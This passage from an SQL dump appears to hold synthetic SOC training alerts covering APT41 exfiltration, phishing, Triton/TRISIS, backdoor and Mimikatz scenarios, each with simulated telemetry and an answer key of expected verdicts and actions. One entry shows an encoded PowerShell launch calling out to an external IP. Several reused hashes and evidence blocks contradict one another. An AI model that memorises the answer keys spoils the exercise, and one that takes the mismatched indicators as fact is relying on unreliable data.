AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(824, 'Exfiltration of Sensitive Data', 'critical', 'Data Loss Prevention Systems', 'After establishing a foothold in the target networks, APT41 began exfiltrating sensitive data, highlighting the operation\'s true espionage objective amid the larger attack. The exfiltration was detected through anomalous data transfer patterns from internal servers to an external IP address.', 'Data Breach', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:27:32Z\",\"source_ip\":\"10.12.45.67\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"financial_report_q3_2023.xlsx\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_id\":\"EXFIL1234\",\"description\":\"Detected unauthorized data transfer to external IP\",\"protocol\":\"HTTPS\",\"bytes_transferred\":10485760}', '2026-01-12 22:25:20', '2026-02-16 17:58:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT41.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.12.45.67\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Legitimate user credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File System Logs\",\"verdict\":\"clean\",\"details\":\"Sensitive file containing proprietary financial data.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious signatures associated with this hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:31:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:30:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:29:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"},{\"timestamp\":\"2026-02-01T20:28:22.477Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:32Z\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_id\\\":\\\"EXFIL1234\\\",\\\"description\\\":\\\"Detected unauthorized data transfer to external IP\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(825, 'Initial Access via Phishing Email', 'high', 'Email Gateway Logs', 'The attackers initiated their operation by sending a spear-phishing email to the employee, attempting to steal credentials and gain a foothold in the network. The email contained a malicious attachment intended to execute a payload if opened.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-08T14:22:34Z\",\"email_subject\":\"Urgent: Update Your Account Information\",\"sender_email\":\"john.doe@maliciousdomain.com\",\"recipient_email\":\"jane.smith@company.com\",\"attachment_name\":\"Invoice_Update.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sender_ip\":\"203.0.113.45\",\"recipient_ip\":\"192.168.1.10\",\"headers\":{\"User-Agent\":\"Mozilla/5.0\",\"X-Mailer\":\"PHPMailer 6.1\"}}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Domain associated with previous phishing attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"IP address flagged for distributing phishing emails.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with known malicious PDF files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-01T20:32:22.478Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(826, 'Execution of Malware Payload', 'high', 'Endpoint Detection and Response (EDR)', 'Attackers executed the Triton/TRISIS payload on a compromised host within the plant network. This action aims to manipulate safety systems stealthily.', 'Malware Deployment', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"EDR-20231015-00123\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"10.20.30.40\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"process_name\":\"triton_deploy.exe\",\"file_hash\":\"9f2d3c2b4a7d8e9f1a3b5c7d8e9f0b3c\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\triton_deploy.exe\",\"action\":\"Execution\",\"result\":\"Success\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Triton/TRISIS activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9f2d3c2b4a7d8e9f1a3b5c7d8e9f0b3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with Triton/TRISIS.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"triton_deploy.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file linked to Triton/TRISIS deployment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(827, 'Establishing Persistence', 'medium', 'Network Traffic Analysis', 'An unusual outbound connection was detected from an internal host to a known malicious IP address. Further analysis revealed the installation of a backdoor that allows persistent access to the compromised system.', 'Backdoor Installation', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"203.0.113.56\",\"protocol\":\"TCP\",\"dst_port\":4444,\"filename\":\"persistence_backdoor.exe\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0\",\"user\":\"jdoe\",\"event\":\"Outbound connection detected\",\"threat_level\":\"medium\",\"description\":\"Outbound traffic from internal host to a known malicious IP associated with backdoor activity.\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple backdoor campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"persistence_backdoor.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAnalysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual executable name for user jdoe.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(828, 'Lateral Movement to SIS Controllers', 'high', 'Internal Network Logs', 'The attackers, having established persistence on the network, are attempting lateral movement targeting Triconex SIS controllers. This step involves the use of known malicious IPs and tools to gain access to critical safety systems.', 'Network Propagation', 'T1021 - Remote Services', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:30Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.0.0.50\",\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"triconex_exploit.exe\",\"username\":\"admin_sis\",\"event\":\"connection_attempt\",\"status\":\"allowed\",\"description\":\"Connection attempt from internal workstation to SIS controller using known malware tool.\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"internal\",\"details\":\"IP of targeted SIS controller.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Triconex-targeting malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"triconex_exploit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"malicious\",\"details\":\"Malware file used in the attack.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"admin_sis\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"internal\",\"details\":\"Username used in the lateral movement attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(829, 'Exfiltration of System Configurations', 'high', 'Data Loss Prevention Systems', 'As the final step in their operation, attackers have successfully exfiltrated sensitive system configurations. This data is likely being analyzed to refine future attacks, posing a significant threat to the integrity of our systems.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"dlp-202310151435\",\"source_ip\":\"192.168.20.45\",\"destination_ip\":\"203.0.113.5\",\"user\":\"jdoe\",\"filename\":\"system_configs.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"status\":\"successful\",\"details\":\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\"}', '2026-01-13 01:52:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.20.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_reputation\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"system_configs.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive configurations.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_reputation\",\"verdict\":\"malicious\",\"details\":\"Hash of exfiltrated file linked to malicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_accounts\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.487Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"dlp-202310151435\\\",\\\"source_ip\\\":\\\"192.168.20.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"system_configs.zip\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"status\\\":\\\"successful\\\",\\\"details\\\":\\\"File system_configs.zip containing sensitive configurations was exfiltrated to remote IP 203.0.113.5 over HTTPS.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(830, 'Initial Access via Phishing', 'high', 'Email gateway logs', 'The attackers initiated their campaign by sending targeted phishing emails to HSE employees, embedding malicious attachments designed to exploit vulnerabilities and install ransomware.', 'Spear-phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T10:45:30Z\",\"email_id\":\"abc123xyz\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"sender_email\":\"attacker@malicious.com\",\"recipient_email\":\"employee@hse.gov\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_2023.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\"}', '2026-01-13 01:56:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP address associated with multiple campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Reported as phishing email sender.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing\",\"date\":\"2026-02-01T20:32:22.489Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(831, 'Lateral Movement Detected', 'high', 'Network traffic analysis', 'Network traffic analysis detected suspicious lateral movement activity. The attackers used credential dumping techniques to gain access to additional systems within the HSE network, targeting critical systems managing the COVID-19 vaccination program.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"event_type\":\"credential_access\",\"tool_used\":\"Mimikatz\",\"dump_file\":\"lsass.dmp\",\"username\":\"admin_user\",\"hash\":\"3b8e7f212f4f9b5a1c6c7a95b7e6d3e6\",\"alert_id\":\"alert_12345\",\"description\":\"Credential dumping attempt detected from external IP targeting HSE internal network.\"}', '2026-01-13 01:56:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Critical server within HSE network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b8e7f212f4f9b5a1c6c7a95b7e6d3e6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz credential dumping tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Security Logs\",\"verdict\":\"suspicious\",\"details\":\"File often used in credential dumping attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account with administrative privileges.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True 